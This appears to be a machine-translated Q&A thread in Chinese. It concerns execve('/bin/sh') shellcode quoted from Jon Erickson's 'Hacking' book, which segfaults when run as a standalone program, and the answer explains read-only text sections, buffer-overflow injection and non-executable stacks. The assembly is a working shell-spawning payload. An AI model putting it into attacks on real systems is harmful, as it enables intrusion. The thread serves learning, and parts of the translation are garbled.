我正在研究Jon Erickson的Hacking一书。以下代码来自他的书:
BITS 32
jmp short two ; Jump down to the bottom for the call trick.
one:
pop ebx ; Ebx has the addr of the string.
xor eax, eax ; Put 0 into eax.
mov [ebx+7], al ; Null terminate the /bin/sh string.
mov [ebx+8], ebx ; Put addr from ebx where the AAAA is.
mov [ebx+12], eax ; Put 32-bit null terminator where the BBBB is.
lea ecx, [ebx+8] ; Load the address of [ebx+8] into ecx for argv ptr.
lea edx, [ebx+12] ; Edx = ebx + 12, which is the envp ptr.
mov al, 11 ; Syscall #11
int 0x80 ; Do it.
two:
call one ; Use a call to get string address.
db '/bin/shXAAAABBBB' ; The XAAAABBBB bytes aren't needed.
它产生一个shell。我尝试使用:
nasm -f elf shellcode.asm
ld -o shellcode shellcode.o
./shellcode
但是,我收到以下错误:
Segmentation fault (core dumped)
本书以前的例子有用,所以我不知道是什么问题。我不是装配专家,可能会发生问题非常简单。
答案 0 :(得分:0)
通常(在现代Linux上)可执行文件的.text
部分是"只读",因此它应该导致页面错误异常(尝试写入&#34) ;只读"页面);这通常被称为"分段错误"在* nix系统上出于历史原因。
我还假设这个代码意味着在堆栈上(例如,攻击者通过滥用缓冲区溢出错误将其作为字符串注入进程);这解释了为什么它如此努力地避免零字节(因为你可以在零终止字符串中没有零字节)。在那种情况下(在现代Linux上),堆栈应该是#34;没有执行"它应该导致页面错误异常(尝试在" no execute"页面中执行数据)。
晴;您在本书出版前大约10年就已经了解了众所周知的安全漏洞。